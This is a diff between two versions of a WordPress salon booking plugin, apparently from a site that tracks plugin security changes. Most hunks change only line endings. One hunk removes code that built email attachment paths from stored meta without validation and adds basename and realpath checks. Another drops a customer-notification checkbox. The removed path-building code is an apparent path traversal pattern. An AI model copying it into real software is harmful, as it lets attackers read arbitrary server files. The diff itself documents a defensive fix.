@@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-class SLN_Metabox_BookingActions extends SLN_Metabox_Abstract\r\n-{\r\n-    public function add_meta_boxes()\r\n-    {\r\n-        $pt = $this->getPostType();\r\n-        add_meta_box(\r\n-            $pt . '-actions',\r\n-            __('Booking Actions', 'salon-booking-system'),\r\n-            array($this, 'actions_meta_box'),\r\n-            $pt,\r\n-            'side',\r\n-            'low'\r\n-        );\r\n-    }\r\n-\r\n-\r\n-    public function actions_meta_box($object, $box)\r\n-    {\r\n-        if(in_array($object->post_status,array('draft','auto-draft')))\r\n-            return '';\r\n-        echo $this->getPlugin()->loadView(\r\n-            'metabox\u002Fbooking_actions',\r\n-            array(\r\n-                'metabox'  => $this,\r\n-                'settings' => $this->getPlugin()->getSettings(),\r\n-                'booking'  => $this->getPlugin()->createBooking($object),\r\n-                'postType' => $this->getPostType(),\r\n-                'helper'   => new SLN_Metabox_Helper()\r\n-            )\r\n-        );\r\n-        do_action($this->getPostType() . '_actions_meta_box', $object, $box);\r\n-    }\r\n-\r\n-    protected function getFieldList()\r\n-    {\r\n-        return array(\r\n-        );\r\n-    }\r\n-    public function save_post($post_id, $post){\r\n-\r\n-    }\r\n-}\r\n-\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+class SLN_Metabox_BookingActions extends SLN_Metabox_Abstract\n+{\n+    public function add_meta_boxes()\n+    {\n+        $pt = $this->getPostType();\n+        add_meta_box(\n+            $pt . '-actions',\n+            __('Booking Actions', 'salon-booking-system'),\n+            array($this, 'actions_meta_box'),\n+            $pt,\n+            'side',\n+            'low'\n+        );\n+    }\n+\n+\n+    public function actions_meta_box($object, $box)\n+    {\n+        if(in_array($object->post_status,array('draft','auto-draft')))\n+            return '';\n+        echo $this->getPlugin()->loadView(\n+            'metabox\u002Fbooking_actions',\n+            array(\n+                'metabox'  => $this,\n+                'settings' => $this->getPlugin()->getSettings(),\n+                'booking'  => $this->getPlugin()->createBooking($object),\n+                'postType' => $this->getPostType(),\n+                'helper'   => new SLN_Metabox_Helper()\n+            )\n+        );\n+        do_action($this->getPostType() . '_actions_meta_box', $object, $box);\n+    }\n+\n+    protected function getFieldList()\n+    {\n+        return array(\n+        );\n+    }\n+    public function save_post($post_id, $post){\n+\n+    }\n+}\n+\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -34,14 +34,6 @@\n             'normal',\n             'high'\n         );\n-        add_meta_box(\n-            $pt . '-notify',\n-            __('Customer notification', 'salon-booking-system'),\n-            array($this, 'notify_meta_box'),\n-            $pt,\n-            'side',\n-            'low'\n-        );\n     }\n \n \n@@ -121,21 +113,6 @@\n         do_action($this->getPostType().'_details_meta_box', $object, $box);\n     }\n \n-    public function notify_meta_box($object, $box)\n-    {\n-        if(in_array($object->post_status,array('draft','auto-draft')))\n-            return '';\n-        ?>\n-        \u003Cinput id=\"dont-notify-customer\" name=\"_sln_booking_dont_notify_customer\" type=\"checkbox\" style=\"margin-right:5px\" value=\"1\" \u003C?php\n-        $booking = new SLN_Wrapper_Booking($object);\n-        if(!$booking->getNotifyCustomer()) {\n-            echo 'checked';\n-        }\n-        ?>\u002F>\u003Clabel for=\"dont-notify-customer\">\u003Cspan style=\"vertical-align:middle\">\u003C?php esc_html_e('Do not notify customer', 'salon-booking-system') ?>\u003C\u002Fspan>\u003C\u002Flabel>\n-        \u003C?php\n-        do_action($this->getPostType() . '_notify_meta_box', $object, $box);\n-    }\n-\n     protected function getFieldList()\n     {\n         $additional = array();\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FHelper.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FHelper.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FHelper.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FHelper.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,109 +1,109 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-class SLN_Metabox_Helper\r\n-{\r\n-    public static function updateMetas($post_id, $meta)\r\n-    {\r\n-        foreach ($meta as $meta_key => $new_meta_value) {\r\n-            $meta_value = get_post_meta($post_id, $meta_key, true);\r\n-            if ($new_meta_value && $new_meta_value != $meta_value) {\r\n-                update_post_meta($post_id, $meta_key, $new_meta_value);\r\n-            } elseif (empty($new_meta_value) && !empty($meta_value)) {\r\n-                delete_post_meta($post_id, $meta_key, $meta_value);\r\n-            }\r\n-        }\r\n-    }\r\n-\r\n-    public static function isMetaNewForPost($post_id, $meta) {\r\n-        \u002F\u002F except _sln_booking_services (it changes after evalBookingServices())\r\n-        \u002F\u002F exclude _sln_booking_soap_notes key (its notes for admins)\r\n-        $is_new = false;\r\n-        $excluded_meta_keys = array('_sln_booking_services', '_sln_booking_dont_notify_customer', '_sln_booking_soap_notes');\r\n-        foreach ($meta as $meta_key => $new_meta_value) {\r\n-            $meta_value = get_post_meta($post_id, $meta_key, true);\r\n-            if(in_array($meta_key, $excluded_meta_keys)) {\r\n-                continue;\r\n-            }\r\n-            if (($new_meta_value && $new_meta_value != $meta_value) ||\r\n-            (empty($new_meta_value) && $meta_value)) {\r\n-                $is_new = true;\r\n-                break;\r\n-            }\r\n-        }\r\n-        return $is_new;\r\n-    }\r\n-\r\n-    public static function processRequest($postType, $fieldList)\r\n-    {\r\n-        foreach ($fieldList as $k => $v) {\r\n-            $field        = self::getFieldName($postType, $k);\r\n-            $meta[$field] = SLN_Func::filter(isset($_POST[$field]) ? $_POST[$field] : null, $v);\r\n-        }\r\n-        return $meta;\r\n-    }\r\n-\r\n-    public static function getFieldName($postType, $key)\r\n-    {\r\n-        return '_' . $postType . '_' . $key;\r\n-    }\r\n-\r\n-    public static function transformFieldKey($str = '')\r\n-    {\r\n-        return strtolower(preg_replace('\u002F[^a-zA-Z0-9]\u002F', '_', trim($str)));\r\n-    }\r\n-\r\n-    public static function isValidRequest($postType, $post_id, $post)\r\n-    {\r\n-        if (!isset($_POST[$postType . '_details_meta_nonce']) || !wp_verify_nonce(\r\n-                sanitize_text_field(wp_unslash($_POST[$postType . '_details_meta_nonce'])),\r\n-                $postType\r\n-            )\r\n-        ) {\r\n-            return false;\r\n-        }\r\n-\r\n-        \u002F* Get the post type object. *\u002F\r\n-        $post_type = get_post_type_object($post->post_type);\r\n-\r\n-        \u002F* Check if the current user has permission to edit the post. *\u002F\r\n-        if (!current_user_can($post_type->cap->edit_post, $post_id)) {\r\n-            return false;\r\n-        }\r\n-\r\n-        \u002F* Don't save if the post is only a revision. *\u002F\r\n-        if ('revision' == $post->post_type) {\r\n-            return false;\r\n-        }\r\n-\r\n-        return true;\r\n-    }\r\n-\r\n-    public static function showNonce($postType)\r\n-    {\r\n-        ?>\r\n-        \u003Cinput type=\"hidden\" name=\"\u003C?php echo $postType ?>_details_meta_nonce\"\r\n-               value=\"\u003C?php echo wp_create_nonce($postType); ?>\"\u002F>\r\n-    \u003C?php\r\n-    }\r\n-\r\n-    public static function showFieldText($field, $label, $val)\r\n-    {\r\n-        ?>\r\n-        \u003Cdiv class=\"form-group sln_meta_field\">\r\n-            \u003Clabel for=\"\u003C?php echo $field ?>\">\u003C?php echo $label ?>\u003C\u002Flabel>\r\n-            \u003C?php SLN_Form::fieldText($field, $val); ?>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    }\r\n-\r\n-    public static function showFieldTextArea($field, $label, $val)\r\n-    {\r\n-        ?>\r\n-        \u003Cdiv class=\"form-group sln_meta_field\">\r\n-            \u003Clabel for=\"\u003C?php echo $field ?>\">\u003C?php echo $label ?>\u003C\u002Flabel>\r\n-            \u003C?php SLN_Form::fieldTextarea($field, $val); ?>\r\n-        \u003C\u002Fdiv>\r\n-    \u003C?php\r\n-    }\r\n-\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+class SLN_Metabox_Helper\n+{\n+    public static function updateMetas($post_id, $meta)\n+    {\n+        foreach ($meta as $meta_key => $new_meta_value) {\n+            $meta_value = get_post_meta($post_id, $meta_key, true);\n+            if ($new_meta_value && $new_meta_value != $meta_value) {\n+                update_post_meta($post_id, $meta_key, $new_meta_value);\n+            } elseif (empty($new_meta_value) && !empty($meta_value)) {\n+                delete_post_meta($post_id, $meta_key, $meta_value);\n+            }\n+        }\n+    }\n+\n+    public static function isMetaNewForPost($post_id, $meta) {\n+        \u002F\u002F except _sln_booking_services (it changes after evalBookingServices())\n+        \u002F\u002F exclude _sln_booking_soap_notes key (its notes for admins)\n+        $is_new = false;\n+        $excluded_meta_keys = array('_sln_booking_services', '_sln_booking_dont_notify_customer', '_sln_booking_soap_notes');\n+        foreach ($meta as $meta_key => $new_meta_value) {\n+            $meta_value = get_post_meta($post_id, $meta_key, true);\n+            if(in_array($meta_key, $excluded_meta_keys)) {\n+                continue;\n+            }\n+            if (($new_meta_value && $new_meta_value != $meta_value) ||\n+            (empty($new_meta_value) && $meta_value)) {\n+                $is_new = true;\n+                break;\n+            }\n+        }\n+        return $is_new;\n+    }\n+\n+    public static function processRequest($postType, $fieldList)\n+    {\n+        foreach ($fieldList as $k => $v) {\n+            $field        = self::getFieldName($postType, $k);\n+            $meta[$field] = SLN_Func::filter(isset($_POST[$field]) ? $_POST[$field] : null, $v);\n+        }\n+        return $meta;\n+    }\n+\n+    public static function getFieldName($postType, $key)\n+    {\n+        return '_' . $postType . '_' . $key;\n+    }\n+\n+    public static function transformFieldKey($str = '')\n+    {\n+        return strtolower(preg_replace('\u002F[^a-zA-Z0-9]\u002F', '_', trim($str)));\n+    }\n+\n+    public static function isValidRequest($postType, $post_id, $post)\n+    {\n+        if (!isset($_POST[$postType . '_details_meta_nonce']) || !wp_verify_nonce(\n+                sanitize_text_field(wp_unslash($_POST[$postType . '_details_meta_nonce'])),\n+                $postType\n+            )\n+        ) {\n+            return false;\n+        }\n+\n+        \u002F* Get the post type object. *\u002F\n+        $post_type = get_post_type_object($post->post_type);\n+\n+        \u002F* Check if the current user has permission to edit the post. *\u002F\n+        if (!current_user_can($post_type->cap->edit_post, $post_id)) {\n+            return false;\n+        }\n+\n+        \u002F* Don't save if the post is only a revision. *\u002F\n+        if ('revision' == $post->post_type) {\n+            return false;\n+        }\n+\n+        return true;\n+    }\n+\n+    public static function showNonce($postType)\n+    {\n+        ?>\n+        \u003Cinput type=\"hidden\" name=\"\u003C?php echo $postType ?>_details_meta_nonce\"\n+               value=\"\u003C?php echo wp_create_nonce($postType); ?>\"\u002F>\n+    \u003C?php\n+    }\n+\n+    public static function showFieldText($field, $label, $val)\n+    {\n+        ?>\n+        \u003Cdiv class=\"form-group sln_meta_field\">\n+            \u003Clabel for=\"\u003C?php echo $field ?>\">\u003C?php echo $label ?>\u003C\u002Flabel>\n+            \u003C?php SLN_Form::fieldText($field, $val); ?>\n+        \u003C\u002Fdiv>\n+    \u003C?php\n+    }\n+\n+    public static function showFieldTextArea($field, $label, $val)\n+    {\n+        ?>\n+        \u003Cdiv class=\"form-group sln_meta_field\">\n+            \u003Clabel for=\"\u003C?php echo $field ?>\">\u003C?php echo $label ?>\u003C\u002Flabel>\n+            \u003C?php SLN_Form::fieldTextarea($field, $val); ?>\n+        \u003C\u002Fdiv>\n+    \u003C?php\n+    }\n+\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FMetabox\u002FResource.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,63 +1,63 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-class SLN_Metabox_Resource extends SLN_Metabox_Abstract\r\n-{\r\n-    protected $fields = array(\r\n-        'unit'      => 'int',\r\n-        'enabled'   => 'bool',\r\n-        'services'  => '',\r\n-    );\r\n-\r\n-    protected function init()\r\n-    {\r\n-        parent::init();\r\n-        add_action('admin_print_styles-edit.php', array($this, 'admin_print_styles'));\r\n-        add_action('in_admin_header', array($this, 'in_admin_header'));\r\n-    }\r\n-\r\n-    public function add_meta_boxes()\r\n-    {\r\n-        $postType = $this->getPostType();\r\n-        add_meta_box(\r\n-            $postType.'-details',\r\n-            __('Resource details', 'salon-booking-system'),\r\n-            array($this, 'details_meta_box'),\r\n-            $postType,\r\n-            'normal',\r\n-            'high'\r\n-        );\r\n-\r\n-\tdo_action('sln.resource.add_meta_boxes');\r\n-        remove_meta_box('postexcerpt', $postType, 'side');\r\n-    }\r\n-\r\n-    public function details_meta_box($object, $box)\r\n-    {\r\n-        echo $this->getPlugin()->loadView(\r\n-            'metabox\u002Fresource',\r\n-            array(\r\n-                'metabox'  => $this,\r\n-                'settings' => $this->getPlugin()->getSettings(),\r\n-                'resource' => $this->getPlugin()->createResource($object),\r\n-                'postType' => $this->getPostType(),\r\n-                'helper'   => new SLN_Metabox_Helper(),\r\n-            )\r\n-        );\r\n-        do_action($this->getPostType().'_details_meta_box', $object, $box);\r\n-    }\r\n-\r\n-    protected function getFieldList()\r\n-    {\r\n-        return apply_filters('sln.metabox.resource.getFieldList', $this->fields);\r\n-    }\r\n-\r\n-    protected function enqueueAssets()\r\n-    {\r\n-        parent::enqueueAssets();\r\n-    }\r\n-\r\n-    public function save_post($post_id, $post)\r\n-    {\r\n-        parent::save_post($post_id, $post);\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\n+class SLN_Metabox_Resource extends SLN_Metabox_Abstract\n+{\n+    protected $fields = array(\n+        'unit'      => 'int',\n+        'enabled'   => 'bool',\n+        'services'  => '',\n+    );\n+\n+    protected function init()\n+    {\n+        parent::init();\n+        add_action('admin_print_styles-edit.php', array($this, 'admin_print_styles'));\n+        add_action('in_admin_header', array($this, 'in_admin_header'));\n+    }\n+\n+    public function add_meta_boxes()\n+    {\n+        $postType = $this->getPostType();\n+        add_meta_box(\n+            $postType.'-details',\n+            __('Resource details', 'salon-booking-system'),\n+            array($this, 'details_meta_box'),\n+            $postType,\n+            'normal',\n+            'high'\n+        );\n+\n+\tdo_action('sln.resource.add_meta_boxes');\n+        remove_meta_box('postexcerpt', $postType, 'side');\n+    }\n+\n+    public function details_meta_box($object, $box)\n+    {\n+        echo $this->getPlugin()->loadView(\n+            'metabox\u002Fresource',\n+            array(\n+                'metabox'  => $this,\n+                'settings' => $this->getPlugin()->getSettings(),\n+                'resource' => $this->getPlugin()->createResource($object),\n+                'postType' => $this->getPostType(),\n+                'helper'   => new SLN_Metabox_Helper(),\n+            )\n+        );\n+        do_action($this->getPostType().'_details_meta_box', $object, $box);\n+    }\n+\n+    protected function getFieldList()\n+    {\n+        return apply_filters('sln.metabox.resource.getFieldList', $this->fields);\n+    }\n+\n+    protected function enqueueAssets()\n+    {\n+        parent::enqueueAssets();\n+    }\n+\n+    public function save_post($post_id, $post)\n+    {\n+        parent::save_post($post_id, $post);\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPlugin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPlugin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPlugin.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPlugin.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -138,19 +138,20 @@\n \n \t$settings['attachments'] = array();\n     $additional_fields = SLN_Enum_CheckoutFields::additional();\n+    $uploads_basedir = realpath(wp_get_upload_dir()['basedir']);\n     foreach($additional_fields as $field){\n         if($field['type'] === 'file' && isset($data['booking'])){\n             $attachments = $data['booking']->getMeta($field['key']);\n             if(is_array($attachments)){\n                 foreach($data['booking']->getMeta($field['key']) as $f){\n                     if($f){\n-                        $settings['attachments'][] = implode('\u002F', array_filter(array(wp_get_upload_dir()['basedir'], trim($f['subdir'], '\u002F'), $f['file'])));\n+                        $candidate = implode('\u002F', array_filter(array(wp_get_upload_dir()['basedir'], trim($f['subdir'], '\u002F'), basename((string) $f['file']))));\n+                        $real = realpath($candidate);\n+                        if ($real && $uploads_basedir && strpos($real, $uploads_basedir) === 0) {\n+                            $settings['attachments'][] = $real;\n+                        }\n                     }\n                 }\n-            }else{\n-                if($attachments){\n-                    $settings['attachments'][] = implode('\u002F', array_filter(array(wp_get_upload_dir()['basedir'], trim($f['subdir'], '\u002F'), $attachments['file'])));\n-                }\n             }\n         }\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,254 +1,254 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-abstract class SLN_PostType_Abstract\r\n-{\r\n-    private $postType;\r\n-    private $plugin;\r\n-\r\n-    public function __construct(SLN_Plugin $plugin, $postType)\r\n-    {\r\n-        $this->plugin   = $plugin;\r\n-        $this->postType = $postType;\r\n-        $this->init();\r\n-        if(is_admin()){\r\n-            global $pagenow;\r\n-            if($pagenow == 'edit.php' && isset($_GET['post_type']) && $_GET['post_type'] == $this->getPostType()) {\r\n-                add_filter( 'wpseo_use_page_analysis', '__return_false' );\r\n-            }\r\n-        }\r\n-        add_filter('post_updated_messages', array($this, 'updated_messages'));\r\n-        add_filter('enter_title_here', array($this, 'enter_title_here'), 10, 2);\r\n-\r\n-\tadd_filter('post_row_actions', array($this, 'duplicateActionMakeLink'), 10, 2);\r\n-\tadd_action('admin_action_'. $postType. '_duplicate_post', array($this, 'duplicatePostSaveAsNewPost'));\r\n-    }\r\n-\r\n-    public function init()\r\n-    {\r\n-        register_post_type($this->getPostType(), $this->getPostTypeArgs());\r\n-    }\r\n-\r\n-    abstract protected function getPostTypeArgs();\r\n-\r\n-    abstract public function enter_title_here($title, $post);\r\n-\r\n-    abstract public function updated_messages($messages);\r\n-\r\n-    public function getPostType()\r\n-    {\r\n-        return $this->postType;\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @return SLN_Plugin\r\n-     *\u002F\r\n-    protected function getPlugin()\r\n-    {\r\n-        return $this->plugin;\r\n-    }\r\n-\r\n-    public function duplicateActionMakeLink($actions, $post) {\r\n-\r\n-\tif ($post->post_type === SLN_Plugin::POST_TYPE_ATTENDANT && current_user_can('edit_' . SLN_Plugin::POST_TYPE_ATTENDANT . 's') || $post->post_type === SLN_Plugin::POST_TYPE_SERVICE && current_user_can('edit_' . SLN_Plugin::POST_TYPE_SERVICE . 's')) {\r\n-\r\n-\t    $actions['clone'] = '\u003Ca href=\"'.$this->getDuplicateActionPostLink($post->ID).'\" title=\"'\r\n-\t\t\t\t. esc_attr__(\"Duplicate this item\", 'salon-booking-system')\r\n-\t\t\t\t. '\">' .  esc_html__('Duplicate', 'salon-booking-system') . '\u003C\u002Fa>';\r\n-\t}\r\n-\r\n-\treturn $actions;\r\n-    }\r\n-\r\n-    public function getDuplicateActionPostLink( $id = 0, $context = 'display') {\r\n-\r\n-\t$action_name = $this->postType . \"_duplicate_post\";\r\n-\r\n-\tif ( 'display' == $context ) {\r\n-\t    $action = '?action='.$action_name.'&amp;post='.$id;\r\n-\t} else {\r\n-\t    $action = '?action='.$action_name.'&post='.$id;\r\n-\t}\r\n-\r\n-\treturn wp_nonce_url(admin_url( \"admin.php\". $action ), 'sln_duplicate-post_' . $id);\r\n-    }\r\n-\r\n-    public function duplicatePostSaveAsNewPost() {\r\n-\r\n-\tif (! ( isset( $_GET['post']) || isset( $_POST['post'])  || ( isset($_REQUEST['action']) && 'sln_duplicate_post' == $_REQUEST['action'] ) ) ) {\r\n-\t    wp_die(esc_html__('No post to duplicate has been supplied!', 'salon-booking-system'));\r\n-\t}\r\n-\r\n-\t\u002F\u002F Get the original post\r\n-\t$id = (isset($_GET['post']) ? $_GET['post'] : $_POST['post']);\r\n-\r\n-\tcheck_admin_referer('sln_duplicate-post_' . $id);\r\n-\r\n-\t$post = get_post($id);\r\n-\r\n-\tif (!$post) {\r\n-\t    wp_die(esc_html__('Copy creation failed, could not find original:', 'salon-booking-system') . ' ' . esc_html(htmlspecialchars($id)));\r\n-\t}\r\n-\r\n-\tif(!($post->post_type === SLN_Plugin::POST_TYPE_ATTENDANT && current_user_can('edit_' . SLN_Plugin::POST_TYPE_ATTENDANT . 's')\r\n-\t\t|| $post->post_type === SLN_Plugin::POST_TYPE_SERVICE && current_user_can('edit_' . SLN_Plugin::POST_TYPE_SERVICE . 's'))) {\r\n-\t    wp_die(esc_html__('Current user is not allowed to copy posts.', 'salon-booking-system'));\r\n-\t}\r\n-\r\n-\t$new_id = $this->duplicatePostCreateDuplicate($post);\r\n-\r\n-\twp_redirect( add_query_arg( array( 'cloned' => 1, 'ids' => $post->ID), admin_url( 'post.php?action=edit&post=' . $new_id ) ) );\r\n-\r\n-\texit;\r\n-    }\r\n-\r\n-    public function duplicatePostCreateDuplicate($post) {\r\n-\r\n-\t$new_post_status = $post->post_status;\r\n-\r\n-\t$title = $post->post_title . ' ' . __('[Copy]');\r\n-\r\n-\tif ( 'publish' == $new_post_status || 'future' == $new_post_status ){\r\n-\t    \u002F\u002F check if the user has the right capability\r\n-\t    if(is_post_type_hierarchical( $post->post_type )){\r\n-\t\tif(!current_user_can('publish_pages')){\r\n-\t\t\t$new_post_status = 'pending';\r\n-\t\t}\r\n-\t    } else {\r\n-\t\tif(!current_user_can('publish_posts')){\r\n-\t\t\t$new_post_status = 'pending';\r\n-\t\t}\r\n-\t    }\r\n-\t}\r\n-\r\n-\t$new_post_author = wp_get_current_user();\r\n-\t$new_post_author_id = $new_post_author->ID;\r\n-\r\n-\t$menu_order = $post->menu_order + 1;\r\n-\r\n-\t$post_name = $post->post_name;\r\n-\r\n-\t$new_post = array(\r\n-\t    'menu_order'\t    => $menu_order,\r\n-\t    'comment_status'\t    => $post->comment_status,\r\n-\t    'ping_status'\t    => $post->ping_status,\r\n-\t    'post_author'\t    => $new_post_author_id,\r\n-\t    'post_content'\t    => $post->post_content,\r\n-\t    'post_content_filtered' => $post->post_content_filtered,\r\n-\t    'post_excerpt'\t    => $post->post_excerpt,\r\n-\t    'post_mime_type'\t    => $post->post_mime_type,\r\n-\t    'post_parent'\t    => $post->post_parent,\r\n-\t    'post_password'\t    => $post->post_password,\r\n-\t    'post_status'\t    => $new_post_status,\r\n-\t    'post_title'\t    => $title,\r\n-\t    'post_type'\t\t    => $post->post_type,\r\n-\t    'post_name'\t\t    => $post_name\r\n-\t);\r\n-\r\n-\t$new_post_id = wp_insert_post(wp_slash($new_post));\r\n-\r\n-\tif($new_post_id !== 0 && !is_wp_error($new_post_id)) {\r\n-\r\n-\t    $post_meta_keys = get_post_custom_keys($post->ID);\r\n-\t    $post_meta_keys = apply_filters('sln.post_type.duplicate_post_create_duplicate.meta_keys', $post_meta_keys, $post);\r\n-\r\n-\t    $meta_blacklist   = array();\r\n-\t    $meta_blacklist[] = '_edit_lock'; \u002F\u002F edit lock\r\n-\t    $meta_blacklist[] = '_edit_last'; \u002F\u002F edit lock\r\n-\r\n-\t    $meta_blacklist_string = '('.implode(')|(',$meta_blacklist).')';\r\n-\t    if(strpos($meta_blacklist_string, '*') !== false){\r\n-\t\t$meta_blacklist_string = str_replace(array('*'), array('[a-zA-Z0-9_]*'), $meta_blacklist_string);\r\n-\r\n-\t\t$meta_keys = array();\r\n-\t\tforeach($post_meta_keys as $meta_key){\r\n-\t\t\tif(!preg_match('#^'.$meta_blacklist_string.'$#', $meta_key))\r\n-\t\t\t\t$meta_keys[] = $meta_key;\r\n-\t\t}\r\n-\t    } else {\r\n-\t\t$meta_keys = array_diff($post_meta_keys, $meta_blacklist);\r\n-\t    }\r\n-\r\n-\t    foreach ($meta_keys as $meta_key) {\r\n-\t\t$meta_values = get_post_custom_values($meta_key, $post->ID);\r\n-\t\tforeach ($meta_values as $meta_value) {\r\n-\t\t    $meta_value = maybe_unserialize($meta_value);\r\n-\t\t    add_post_meta($new_post_id, $meta_key, wp_slash($meta_value));\r\n-\t\t}\r\n-\t    }\r\n-\r\n-\t    global $wpdb;\r\n-\r\n-\t    if (isset($wpdb->terms)) {\r\n-\t\t    \u002F\u002F Clear default category (added by wp_insert_post)\r\n-\t\t    wp_set_object_terms( $new_post_id, NULL, 'category' );\r\n-\r\n-\t\t    $post_taxonomies = get_object_taxonomies($post->post_type);\r\n-\t\t    \u002F\u002F several plugins just add support to post-formats but don't register post_format taxonomy\r\n-\t\t    if(post_type_supports($post->post_type, 'post-formats') && !in_array('post_format', $post_taxonomies)){\r\n-\t\t\t    $post_taxonomies[] = 'post_format';\r\n-\t\t    }\r\n-\r\n-\t\t    $taxonomies = $post_taxonomies;\r\n-\t\t    foreach ($taxonomies as $taxonomy) {\r\n-\t\t\t    $post_terms = wp_get_object_terms($post->ID, $taxonomy, array( 'orderby' => 'term_order' ));\r\n-\t\t\t    $terms = array();\r\n-\t\t\t    for ($i=0; $i\u003Ccount($post_terms); $i++) {\r\n-\t\t\t\t    $terms[] = $post_terms[$i]->slug;\r\n-\t\t\t    }\r\n-\t\t\t    wp_set_object_terms($new_post_id, $terms, $taxonomy);\r\n-\t\t    }\r\n-\t    }\r\n-\r\n-\t\u002F\u002F get thumbnail ID\r\n-\t$old_thumbnail_id = get_post_thumbnail_id($post->ID);\r\n-\t\u002F\u002F get children\r\n-\t$children = get_posts(array( 'post_type' => 'any', 'numberposts' => -1, 'post_status' => 'any', 'post_parent' => $post->ID ));\r\n-\t\u002F\u002F clone old attachments\r\n-\tforeach($children as $child){\r\n-\t\tif ($child->post_type != 'attachment') continue;\r\n-\t\t$url = wp_get_attachment_url($child->ID);\r\n-\t\t\u002F\u002F Let's copy the actual file\r\n-\t\t$tmp = download_url( $url );\r\n-\t\tif( is_wp_error( $tmp ) ) {\r\n-\t\t\t@unlink($tmp);\r\n-\t\t\tcontinue;\r\n-\t\t}\r\n-\r\n-\t\t$desc = wp_slash($child->post_content);\r\n-\r\n-\t\t$file_array = array();\r\n-\t\t$file_array['name'] = basename($url);\r\n-\t\t$file_array['tmp_name'] = $tmp;\r\n-\t\t\u002F\u002F 